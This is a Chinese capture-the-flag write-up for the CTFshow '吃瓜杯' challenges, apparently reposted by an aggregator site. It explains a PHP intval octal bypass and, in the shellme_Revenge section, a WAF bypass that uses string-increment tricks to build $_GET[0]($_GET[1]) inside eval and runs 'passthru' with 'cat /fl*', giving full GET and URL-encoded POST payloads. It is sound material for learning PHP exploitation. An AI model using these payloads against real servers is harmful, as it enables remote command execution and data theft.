[CTFshow]吃瓜杯复现wp
Posted huamanggg
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[CTFshow]吃瓜杯复现wp相关的知识,希望对你有一定的参考价值。
热身
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
要求num不是4467,还要求num里面不能有字母和点,还要求不能开头是0
最后,若过了这个intval就给flag
这里主要考察了一个intval的性质
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
1.如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
2.如果字符串以 “0” 开始,使用 8 进制(octal);
3.否则,将使用 10 进制 (decimal)。
明显不能用0x,那么就用八进制绕过第一层,但是开头不能是0
那么就搞一个%20开头就成功绕过了
?num=%20010574
shellme
一打开就是phpinfo界面
一搜flag就出来了🤣
shellme_Revenge
好家伙,这过滤的还剩啥了
找来找去只有这个phpinfo,我都怀疑要去session_upload了,后来翻到一个hint
?looklook=1
得到源码
<?php
error_reporting(0);
if ($_GET['looklook']){
highlight_file(__FILE__);
}else{
setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
if (!preg_match("/[!@#%^&*:'\\"|`a-zA-BD-Z~\\\\\\\\]|[4-9]/",$ctfshow)){
eval($ctfshow);
}else{
echo("fucccc hacker!!");
}
}
} else {
phpinfo();
}
?>
这个waf这里a-zA-BD-Z,唯独漏一个C,这就很迷了,而且前面有长度限制,这就很难不想到是利用自增来拼接
但是如果硬要从C开始自增的话,那肯定是超过长度的,那么这里就有两个小技巧了
在这篇文章有写到(也是原题)
$_=C/C ---> NAN
$_=1/C ---> INF
但是这不是string类型,但在php里面,我们可以通过拼接一个字符串来让他转成String类型
比如这里我写如下代码
<?php
$a = (C/C.C);
$b = (1/C.C);
var_dump($a);
var_dump($b);
成功得到string类型,这里我们就使用索引就可以单选中字母了
这样做就可以从N开始递增了,避开了长度的限制
我们需要拼接出一个_GET来,下划线是没有被ban的,可以直接拼接,我们就需要利用三个变量去分别构造成G,E,T三个字母,T离C太远,这里就用NAN来自增绕过
构造如下代码:
$_=C;++$_;$__=++$_;++$_;$C=++$_;$_=(C/C.C)[0];++$_;++$_;++$_;++$_;++$_;$_=_.$C.$__.++$_;
成功构造
payload:
$_=C;++$_;$__=++$_;++$_;$C=++$_;$_=(C/C.C)[0];++$_;++$_;++$_;++$_;++$_;$_=_.$C.$__.++$_;$$_[0]($$_[1]);
构造了一个$_GET[0]($_GET[1])
命令也是成功执行了
在这题里面,发现系统命令函数他有一个没被ban掉,passthru
利用这个构造payload
GET
?looklook=1&0=passthru&1=cat /fl*
POST
ctf_show=%24_%3DC%3B%2B%2B%24_%3B%24__%3D%2B%2B%24_%3B%2B%2B%24_%3B%24C%3D%2B%2B%24_%3B%24_%3D(C%2FC.C)%5B0%5D%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%24_%3D_.%24C.%24__.%2B%2B%24_%3B%24%24_%5B0%5D(%24%24_%5B1%5D)%3B
Music Game
解压出来是一个img镜像,挂载后看到里面有个文件夹,看起来有flag似的
里面除了一些没有flag的txt,还有两张可疑的文件后缀,mc和mcz
下载这个游戏,导入谱子,果然flag在这
谱子就是flag
ctfshow{bgm_is_nice}
以上是关于[CTFshow]吃瓜杯复现wp的主要内容,如果未能解决你的问题,请参考以下文章